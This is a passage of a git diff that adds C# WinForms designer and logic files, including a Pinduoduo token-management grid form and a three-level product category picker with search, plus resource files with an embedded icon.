System.Windows.Forms.DataGridViewTriState.True; + this.colCaptchaColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colCaptchaColumn.Width = 66; + // + // colShopOperateColumn + // + this.colShopOperateColumn.HeaderText = "检测"; + this.colShopOperateColumn.Name = "colShopOperateColumn"; + this.colShopOperateColumn.ReadOnly = true; + this.colShopOperateColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.colShopOperateColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.colShopOperateColumn.Width = 66; + // + // delColumn + // + this.delColumn.HeaderText = "删除"; + this.delColumn.Name = "delColumn"; + this.delColumn.ReadOnly = true; + this.delColumn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.delColumn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.delColumn.Width = 66; + // + // statusBar + // + this.statusBar.BackColor = System.Drawing.Color.White; + this.statusBar.Dock = System.Windows.Forms.DockStyle.Fill; + this.statusBar.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.statusBar.Location = new System.Drawing.Point(0, 0); + this.statusBar.Margin = new System.Windows.Forms.Padding(0); + this.statusBar.Name = "statusBar"; + this.statusBar.Size = new System.Drawing.Size(1048, 33); + this.statusBar.TabIndex = 0; + // + // TokenNewForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1050, 610); + this.Controls.Add(this.splitContainer1); + this.Font = new System.Drawing.Font("华文宋体", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ForeColor = System.Drawing.SystemColors.ControlText; + this.MaximizeBox = false; + this.Name = "TokenNewForm"; + this.Text = "拼多多token管理"; + this.TitleText = "拼多多token管理"; + this.Load += new System.EventHandler(this.TokenNewForm_Load); + this.Controls.SetChildIndex(this.splitContainer1, 0); + this.splitContainer1.Panel1.ResumeLayout(false); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer3.Panel1.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + this.groupBox1.ResumeLayout(false); + this.groupBox1.PerformLayout(); + this.groupBox3.ResumeLayout(false); + this.groupBox3.PerformLayout(); + this.groupBox2.ResumeLayout(false); + this.groupBox2.PerformLayout(); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView3)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + private System.Windows.Forms.SplitContainer splitContainer1; + private UserControls.ButtonEx button1; + private System.Windows.Forms.GroupBox groupBox3; + private System.Windows.Forms.GroupBox groupBox1; + private UserControls.ButtonEx button2; + private System.Windows.Forms.DataGridView dataGridView3; + private System.Windows.Forms.CheckBox checkBox1; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.Label label2; + private UserControls.ButtonEx button3; + private System.Windows.Forms.SplitContainer splitContainer2; + private UserControls.StatusBarUserControl statusBar; + private System.Windows.Forms.CheckBox selectAllcheckBox; + private System.Windows.Forms.GroupBox groupBox2; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.SplitContainer splitContainer3; + private System.Windows.Forms.CheckBox checkBox2; + private System.Windows.Forms.CheckBox checkBox3; + private System.Windows.Forms.DataGridViewCheckBoxColumn onSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn TokenColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn loginStatusColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn colSearchStatusColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn StatusColumn; + private System.Windows.Forms.DataGridViewLinkColumn colCaptchaColumn; + private System.Windows.Forms.DataGridViewLinkColumn colShopOperateColumn; + private System.Windows.Forms.DataGridViewLinkColumn delColumn; + } +} + diff --git a/TEMUKJD/KJDForms/ToolForms/TokenNewForm.resx b/TEMUKJD/KJDForms/ToolForms/TokenNewForm.resx new file mode 100644 index 0000000..87d3b56 --- /dev/null +++ b/TEMUKJD/KJDForms/ToolForms/TokenNewForm.resx @@ -0,0 +1,144 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/CatForm.cs b/TEMUKJD/KJDForms/UploadForms/CatForm.cs new file mode 100644 index 0000000..286478b --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CatForm.cs @@ -0,0 +1,325 @@ +using AllBase; +using AllBase.Model.Param.FissionManage; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + public partial class CatForm : LRBaseForm + { + private const int SB_HORZ = 0; + private const int SB_VERT = 1; + private const int SB_CTL = 2; + private const int SB_BOTH = 3; + + [DllImport("user32", EntryPoint = "ShowScrollBar")] + public static extern int ShowScrollBar(int hwnd, int wBar, int bShow); + + private ProductCollectBase pcb; + private int iCatId = 0; + private List lstRootGoodsCategory = new List(); + private List lst2ndGoodsCategory = new List(); + private List lst3rdGoodsCategory = new List(); + public Fission frmFission; + private int lst1Cid = 0; + private int lst2Cid = 0; + private int lst3Cid = 0; + public CatForm(ProductCollectBase _pcb) + { + pcb = _pcb; + InitializeComponent(); + } + private void CatForm_Load(object sender, EventArgs e) + { + lbxSearch.Height = 300; + ShowHistoricalCid(pcb.cat_id); + + //ShowScrollBar((int)this.lvRootCategory.Handle, SB_VERT, 1); + //ShowScrollBar((int)this.lv2rdCategory.Handle, SB_VERT, 1); + //ShowScrollBar((int)this.lv3rdCategory.Handle, SB_VERT, 1); + } + + private void ShowHistoricalCid(int cid) + { + try + { + if (Fission.goodsCategoryList.Count == 0) + Fission.goodsCategoryList = JsonHelper.DeserializeJsonToList(AllBase.Model.Param.ProductManage.DyCategoryParam.DyCategorys); + + lvRootCategory.Clear(); + lstRootGoodsCategory = Fission.goodsCategoryList.FindAll(m => m.parent_id == 0); + foreach (GoodsCategoryModel item in lstRootGoodsCategory) + lvRootCategory.Items.Add(item.id.ToString(), item.name, ""); + + List catList = Fission.GetParentCatList(cid); + string cidName = string.Join(",", catList); + + if (!string.IsNullOrEmpty(cidName)) + { + string[] strArrary = cidName.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries); + strArrary = strArrary.Where(o => o != "0").ToArray(); + if (strArrary.Length == 3) + { + lvRootCategory.FocusedItem = lvRootCategory.Items[strArrary[0]]; + lvRootCategory.Items[strArrary[0]].Selected = true; + lv2rdCategory.FocusedItem = lv2rdCategory.Items[strArrary[1]]; + lv2rdCategory.Items[strArrary[1]].Selected = true; + lv3rdCategory.Focus(); + lv3rdCategory.FocusedItem = lv3rdCategory.Items[strArrary[2]]; + lv3rdCategory.Items[strArrary[2]].Selected = true; + } + else if (strArrary.Length == 2) + { + lvRootCategory.FocusedItem = lvRootCategory.Items[strArrary[0]]; + lvRootCategory.Items[strArrary[0]].Selected = true; + lv2rdCategory.Focus(); + lv2rdCategory.FocusedItem = lv2rdCategory.Items[strArrary[1]]; + lv2rdCategory.Items[strArrary[1]].Selected = true; + } + else + { + lvRootCategory.Focus(); + lvRootCategory.FocusedItem = lvRootCategory.Items[strArrary[0]]; + if (lvRootCategory.Items[strArrary[0]] != null) + lvRootCategory.Items[strArrary[0]].Selected = true; + + } + + } + } + catch + { + + } + } + + private void lvRootCategory_SelectedIndexChanged(object sender, EventArgs e) + { + lv2rdCategory.Items.Clear(); + lv3rdCategory.Items.Clear(); + lst2Cid = 0; + lst3Cid = 0; + var cid = lvRootCategory.FocusedItem.Name; + lbSelectCatName.Text = "当前选择商品分类:" + lvRootCategory.FocusedItem.Text; + iCatId = int.Parse(cid); + lst1Cid = iCatId; + lst2ndGoodsCategory = Fission.goodsCategoryList.FindAll(m => m.parent_id == iCatId); + btnChangeCatId.Enabled = lst2ndGoodsCategory.Count == 0; + foreach (GoodsCategoryModel item in lst2ndGoodsCategory) + { + if (item.name.Equals("未知")) continue; + lv2rdCategory.Items.Add(item.id.ToString(), item.name, ""); + } + } + + private void lv2rdCategory_SelectedIndexChanged(object sender, EventArgs e) + { + lst3Cid = 0; + lv3rdCategory.Items.Clear(); + var cid = lv2rdCategory.FocusedItem.Name; + lbSelectCatName.Text = "当前选择商品分类:" + lv2rdCategory.FocusedItem.Text; + iCatId = int.Parse(cid); + lst2Cid = iCatId; + lst3rdGoodsCategory = Fission.goodsCategoryList.FindAll(m => m.parent_id == iCatId); + btnChangeCatId.Enabled = lst3rdGoodsCategory.Count == 0; + foreach (GoodsCategoryModel item in lst3rdGoodsCategory) + { + if (item.name.Equals("未知")) continue; + lv3rdCategory.Items.Add(item.id.ToString(), item.name, ""); + } + } + + private void lv3rdCategory_SelectedIndexChanged(object sender, EventArgs e) + { + iCatId = int.Parse(lv3rdCategory.FocusedItem?.Name); + lst3Cid = iCatId; + btnChangeCatId.Enabled = true; + lbSelectCatName.Text = "当前选择商品分类:" + lv3rdCategory.FocusedItem.Text; + } + + /// + /// 确认变更商品分类 + /// + /// + /// + private void btnChangeCatId_Click(object sender, EventArgs e) + { + string sChangedCatName = lbSelectCatName.Text.Split(':')[1]; + if (BaseMsgForm.ShowConfirm("确认商品分类设置为【" + sChangedCatName + "】?").DialogResult.Equals(DialogResult.OK)) + { + pcb.cat_id = iCatId; + pcb.cat1 = lst1Cid; + pcb.main_cid = lst1Cid; + pcb.cat2 = lst2Cid; + pcb.cat3 = lst3Cid; + pcb.cat4 = 0; + + frmFission.lblCategory.Text = Fission.GetFullCatString(iCatId); + var cat = Fission.goodsCategoryList.FirstOrDefault(c => c.id == iCatId); + if (cat != null) + { + // {"id":21621,"name":"电吹风","parent_cid":20099,"level":2,"enable":true,"first_cid":20099,"second_cid":21621,"third_cid":0,"fourth_cid":0,"first_name":"个人保健/护理电器","second_name":"电吹风","third_name":"","fourth_name":"","is_leaf":true,"highlight_levels":[],"extra_info":null,"industry_status":0} + frmFission.fullCatStrings = "[{\"id\":" + cat.id + ",\"name\":\"" + cat.name + "\"," + + "\"parent_cid\":" + cat.parent_id + ",\"level\":" + cat.level + ",\"enable\":" + cat.enable.ToString().ToLower() + ","; + List cl = new List(); + cl.Add(cat); + var catEx = Fission.goodsCategoryList.FirstOrDefault(c => c.id == cat.id); + var pCat = Fission.goodsCategoryList.FirstOrDefault(c => c.id == cat.parent_id); + while (pCat != null && pCat.id != 0) + { + cl.Insert(0, pCat); + pCat = Fission.goodsCategoryList.FirstOrDefault(c => c.id == pCat.parent_id); + } + while (cl.Count < 4) + { + cl.Add(new GoodsCategoryModelEx()); + } + frmFission.fullCatStrings += "\"first_cid\":" + cl[0].id + ",\"second_cid\":" + cl[1].id + ",\"third_cid\":" + cl[2].id + ",\"fourth_cid\":" + cl[3].id + "," + + "\"first_name\":\"" + cl[0].name + "\",\"second_name\":\"" + cl[1].name + "\",\"third_name\":\"" + cl[2].name + "\",\"fourth_name\":\"" + cl[3].name + "\","; + frmFission.fullCatStrings += "\"is_leaf\":" + cat.is_leaf.ToString().ToLower() + ",\"highlight_levels\":[],\"extra_info\":null," + + "\"industry_status\":" + catEx.industry_status + "}]"; + } + + Close(); + } + } + + private void txtCateSearch_TextChanged(object sender, EventArgs e) + { + lbxSearch.Items.Clear(); + if (txtCateSearch.Text.Trim().Length > 0) + { + List listResult = new List(); + foreach (var item in Fission.goodsCategoryList) + { + if (item.name.Contains(txtCateSearch.Text.Trim())) + { + List dd = GetCatString(item.id); + listResult.AddRange(dd); + } + } + listResult = listResult.Distinct().OrderBy(x => x).ToList(); + + if (listResult.Count > 0) + { + lbxSearch.Visible = true; + foreach (var cstr in listResult) + lbxSearch.Items.Add(cstr); + } + else + lbxSearch.Visible = false; + } + else + { + lbxSearch.Visible = false; + } + } + List GetCatString(int cid) + { + + //获取上级类目 + List listCat = Fission.GetParentCatList(cid); + List listParent = new List(); + for (int i = 0; i < listCat.Count; i++) + { + var c = Fission.goodsCategoryList.Find(x => x.id == listCat[i]); + listParent.Add(c.name); + } + string strParentList = string.Join(">>", listParent); + //获取所有下级类目 + List listChild = new List(); + List listChild1 = GetChildCatList(cid); + for (int i1 = 0; i1 < listChild1.Count; i1++) + { + List listChild2 = GetChildCatList(listChild1[i1]); + string s1 = Fission.goodsCategoryList.Find(x => x.id == listChild1[i1]).name; + if (listChild2.Count == 0) + { + listChild.Add(s1); + continue; + } + for (int i2 = 0; i2 < listChild2.Count; i2++) + { + List listChild3 = GetChildCatList(listChild2[i2]); + string s2 = Fission.goodsCategoryList.Find(x => x.id == listChild2[i2]).name; + if (listChild3.Count == 0) + { + listChild.Add(s1 + ">>" + s2); + continue; + } + for (int i3 = 0; i3 < listChild3.Count; i3++) + { + List listChild4 = GetChildCatList(listChild3[i3]); + string s3 = Fission.goodsCategoryList.Find(x => x.id == listChild3[i3]).name; + if (listChild4.Count == 0) + { + listChild.Add(s1 + ">>" + s2 + ">>" + s3); + continue; + } + } + } + + } + List listResult = new List(); + if (listChild.Count > 0) + { + for (int i = 0; i < listChild.Count; i++) + { + listResult.Add(strParentList + ">>" + listChild[i]); + } + } + else + { + listResult.Add(strParentList); + } + return listResult; + } + List GetChildCatList(int cid) + { + List list = new List(); + var listNext = Fission.goodsCategoryList.FindAll(x => x.parent_id == cid); + for (int i = 0; i < listNext.Count; i++) + list.Add(listNext[i].id); + return list; + } + + private void lbxSearch_Click(object sender, EventArgs e) + { + if (lbxSearch.SelectedIndex >= 0) + { + string cateStr = lbxSearch.SelectedItem.ToString(); + string[] cateArr = cateStr.Split(new string[] { ">>" }, StringSplitOptions.RemoveEmptyEntries); + + GoodsCategoryModel model = null; + if (cateArr.Length > 0) + model = Fission.goodsCategoryList.Find(x => x.parent_id == 0 && x.name == cateArr[0]); + + if (cateArr.Length > 1 && model != null) + { + model = Fission.goodsCategoryList.Find(x => x.parent_id == model.id && x.name == cateArr[1]); + } + if (cateArr.Length > 2 && model != null) + { + model = Fission.goodsCategoryList.Find(x => x.parent_id == model.id && x.name == cateArr[2]); + } + if (cateArr.Length > 3 && model != null) + { + model = Fission.goodsCategoryList.Find(x => x.parent_id == model.id && x.name == cateArr[3]); + } + if (model != null) + ShowHistoricalCid(model.id); + } + lbxSearch.Visible = false; + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/CatForm.designer.cs b/TEMUKJD/KJDForms/UploadForms/CatForm.designer.cs new file mode 100644 index 0000000..ba78586 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CatForm.designer.cs @@ -0,0 +1,225 @@ +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms.UploadForms +{ + partial class CatForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CatForm)); + this.panel2 = new System.Windows.Forms.Panel(); + this.label1 = new System.Windows.Forms.Label(); + this.lbxSearch = new System.Windows.Forms.ListBox(); + this.txtCateSearch = new System.Windows.Forms.TextBox(); + this.lbSelectCatName = new System.Windows.Forms.Label(); + this.btnChangeCatId = new LittleRabbit.UserComponent.ButtonLc(); + this.lv3rdCategory = new System.Windows.Forms.ListView(); + this.lv2rdCategory = new System.Windows.Forms.ListView(); + this.lvRootCategory = new System.Windows.Forms.ListView(); + this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); + this.panel2.SuspendLayout(); + this.tableLayoutPanel1.SuspendLayout(); + this.SuspendLayout(); + // + // panel2 + // + this.panel2.BackColor = System.Drawing.Color.White; + this.panel2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panel2.Controls.Add(this.lbxSearch); + this.panel2.Controls.Add(this.tableLayoutPanel1); + this.panel2.Controls.Add(this.label1); + this.panel2.Controls.Add(this.txtCateSearch); + this.panel2.Controls.Add(this.lbSelectCatName); + this.panel2.Controls.Add(this.btnChangeCatId); + this.panel2.Dock = System.Windows.Forms.DockStyle.Fill; + this.panel2.Location = new System.Drawing.Point(1, 33); + this.panel2.Name = "panel2"; + this.panel2.Size = new System.Drawing.Size(674, 565); + this.panel2.TabIndex = 1; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(32, 38); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(53, 12); + this.label1.TabIndex = 35; + this.label1.Text = "搜索类目"; + // + // lbxSearch + // + this.lbxSearch.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.lbxSearch.FormattingEnabled = true; + this.lbxSearch.ItemHeight = 12; + this.lbxSearch.Location = new System.Drawing.Point(91, 54); + this.lbxSearch.Name = "lbxSearch"; + this.lbxSearch.ScrollAlwaysVisible = true; + this.lbxSearch.Size = new System.Drawing.Size(551, 16); + this.lbxSearch.TabIndex = 34; + this.lbxSearch.Visible = false; + this.lbxSearch.Click += new System.EventHandler(this.lbxSearch_Click); + // + // txtCateSearch + // + this.txtCateSearch.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.txtCateSearch.Location = new System.Drawing.Point(91, 34); + this.txtCateSearch.Name = "txtCateSearch"; + this.txtCateSearch.Size = new System.Drawing.Size(551, 21); + this.txtCateSearch.TabIndex = 33; + this.txtCateSearch.TextChanged += new System.EventHandler(this.txtCateSearch_TextChanged); + // + // lbSelectCatName + // + this.lbSelectCatName.AutoSize = true; + this.lbSelectCatName.Font = new System.Drawing.Font("新宋体", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lbSelectCatName.Location = new System.Drawing.Point(31, 526); + this.lbSelectCatName.Name = "lbSelectCatName"; + this.lbSelectCatName.Size = new System.Drawing.Size(63, 14); + this.lbSelectCatName.TabIndex = 30; + this.lbSelectCatName.Text = "当前选择"; + // + // btnChangeCatId + // + this.btnChangeCatId.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(67)))), ((int)(((byte)(163)))), ((int)(((byte)(219))))); + this.btnChangeCatId.Cursor = System.Windows.Forms.Cursors.Hand; + this.btnChangeCatId.Enabled = false; + this.btnChangeCatId.FlatStyle = System.Windows.Forms.FlatStyle.Flat; + this.btnChangeCatId.Font = new System.Drawing.Font("新宋体", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.btnChangeCatId.ForeColor = System.Drawing.Color.White; + this.btnChangeCatId.Location = new System.Drawing.Point(545, 518); + this.btnChangeCatId.Name = "btnChangeCatId"; + this.btnChangeCatId.Size = new System.Drawing.Size(99, 30); + this.btnChangeCatId.TabIndex = 26; + this.btnChangeCatId.Text = "变更分类"; + this.btnChangeCatId.UseVisualStyleBackColor = false; + this.btnChangeCatId.Click += new System.EventHandler(this.btnChangeCatId_Click); + // + // lv3rdCategory + // + this.lv3rdCategory.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.lv3rdCategory.Dock = System.Windows.Forms.DockStyle.Fill; + this.lv3rdCategory.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lv3rdCategory.FullRowSelect = true; + this.lv3rdCategory.HideSelection = false; + this.lv3rdCategory.Location = new System.Drawing.Point(409, 3); + this.lv3rdCategory.Name = "lv3rdCategory"; + this.lv3rdCategory.Size = new System.Drawing.Size(199, 430); + this.lv3rdCategory.TabIndex = 2; + this.lv3rdCategory.TileSize = new System.Drawing.Size(268, 22); + this.lv3rdCategory.UseCompatibleStateImageBehavior = false; + this.lv3rdCategory.View = System.Windows.Forms.View.Tile; + this.lv3rdCategory.SelectedIndexChanged += new System.EventHandler(this.lv3rdCategory_SelectedIndexChanged); + // + // lv2rdCategory + // + this.lv2rdCategory.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.lv2rdCategory.Dock = System.Windows.Forms.DockStyle.Fill; + this.lv2rdCategory.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lv2rdCategory.FullRowSelect = true; + this.lv2rdCategory.HideSelection = false; + this.lv2rdCategory.Location = new System.Drawing.Point(206, 3); + this.lv2rdCategory.Name = "lv2rdCategory"; + this.lv2rdCategory.Size = new System.Drawing.Size(197, 430); + this.lv2rdCategory.TabIndex = 1; + this.lv2rdCategory.TileSize = new System.Drawing.Size(268, 22); + this.lv2rdCategory.UseCompatibleStateImageBehavior = false; + this.lv2rdCategory.View = System.Windows.Forms.View.Tile; + this.lv2rdCategory.SelectedIndexChanged += new System.EventHandler(this.lv2rdCategory_SelectedIndexChanged); + // + // lvRootCategory + // + this.lvRootCategory.Activation = System.Windows.Forms.ItemActivation.OneClick; + this.lvRootCategory.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.lvRootCategory.Dock = System.Windows.Forms.DockStyle.Fill; + this.lvRootCategory.Font = new System.Drawing.Font("微软雅黑", 10.5F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.lvRootCategory.FullRowSelect = true; + this.lvRootCategory.HideSelection = false; + this.lvRootCategory.Location = new System.Drawing.Point(3, 3); + this.lvRootCategory.Name = "lvRootCategory"; + this.lvRootCategory.Size = new System.Drawing.Size(197, 430); + this.lvRootCategory.TabIndex = 0; + this.lvRootCategory.TileSize = new System.Drawing.Size(268, 22); + this.lvRootCategory.UseCompatibleStateImageBehavior = false; + this.lvRootCategory.View = System.Windows.Forms.View.Tile; + this.lvRootCategory.SelectedIndexChanged += new System.EventHandler(this.lvRootCategory_SelectedIndexChanged); + // + // tableLayoutPanel1 + // + this.tableLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tableLayoutPanel1.ColumnCount = 3; + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33.33333F)); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33.33333F)); + this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 33.33333F)); + this.tableLayoutPanel1.Controls.Add(this.lvRootCategory, 0, 0); + this.tableLayoutPanel1.Controls.Add(this.lv2rdCategory, 1, 0); + this.tableLayoutPanel1.Controls.Add(this.lv3rdCategory, 2, 0); + this.tableLayoutPanel1.Location = new System.Drawing.Point(34, 76); + this.tableLayoutPanel1.Name = "tableLayoutPanel1"; + this.tableLayoutPanel1.RowCount = 1; + this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); + this.tableLayoutPanel1.Size = new System.Drawing.Size(611, 436); + this.tableLayoutPanel1.TabIndex = 36; + // + // CatForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(676, 599); + this.Controls.Add(this.panel2); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "CatForm"; + this.ShowMinimizedBox = true; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; + this.Text = "商品分类"; + this.TitleText = "商品分类"; + this.Load += new System.EventHandler(this.CatForm_Load); + this.Controls.SetChildIndex(this.panel2, 0); + this.panel2.ResumeLayout(false); + this.panel2.PerformLayout(); + this.tableLayoutPanel1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel2; + private ListView lvRootCategory; + private ListView lv2rdCategory; + private ListView lv3rdCategory; + private UserComponent.ButtonLc btnChangeCatId; + private Label lbSelectCatName; + private Label label1; + private ListBox lbxSearch; + private TextBox txtCateSearch; + private TableLayoutPanel tableLayoutPanel1; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/CatForm.resx b/TEMUKJD/KJDForms/UploadForms/CatForm.resx new file mode 100644 index 0000000..21daff7 --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/CatForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQZAAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + 